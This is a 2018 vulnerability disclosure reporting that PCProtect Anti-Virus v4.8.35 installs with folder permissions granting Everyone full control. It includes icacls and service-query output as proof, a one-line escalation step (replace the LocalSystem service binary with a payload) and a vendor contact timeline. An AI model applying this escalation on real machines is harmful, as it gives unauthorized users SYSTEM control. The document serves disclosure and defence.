# Exploit Title : PCProtect v4.8.35 - Weak File Premissions Privilege Escalation # Date : 09/11/2018 # Exploit Author : Hashim Jawad - @ihack4falafel # Vendor Homepage : https://www.pcprotect.com/ # Vulnerable Software: https://www.pcprotect.com/download # Tested on : Windows 7 Enterprise SP1 (x64) Description: ============ PCProtect Anti-Virus v4.8.35 installs by default to "C:\Program Files (x86)\PCProtect" with very weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the directory and it's subfolders. In addition, the program installs a service called "SecurityService" which runs as "Local system account", this will allow any user to escalate privileges to "NT AUTHORITY\SYSTEM" by substituting the service's binary with malicious one. Proof: ====== C:\Users\IEUser>icacls "c:\Program Files (x86)\PCProtect" c:\Program Files (x86)\PCProtect BUILTIN\Users:(OI)(CI)(F) Everyone:(OI)(CI)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) Successfully processed 1 files; Failed processing 0 files C:\Users\IEUser>sc qc SecurityService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SecurityService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files (x86)\PCProtect\SecurityService.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : PC Security Management Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\IEUser>icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe" C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F) Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) Successfully processed 1 files; Failed processing 0 files C:\Users\IEUser> Exploit: ======== Simply replace "SecurityService.exe" with your preferred payload and wait for execution upon reboot. # Disclosure Timeline: # ==================== # 09-12-18: Contacted vendor # 09-13-18: Vendor responded requesting more information # 09-13-18: Required information sent and requested to get me in touch with product security team # 09-14-18: Vendor replied stating that I'm free account user thus suggested checking their Help Center # 09-15-18: Contacted vendor again and explained this not support request rather security vulnerability and will be published in week time unless they request otherwise # 09-16-18: Vendor responded that a ticket has been created and forwarded to the development team # 09-21-18: Requested an update from vendor, no response # 09-27-18: Vulnerability published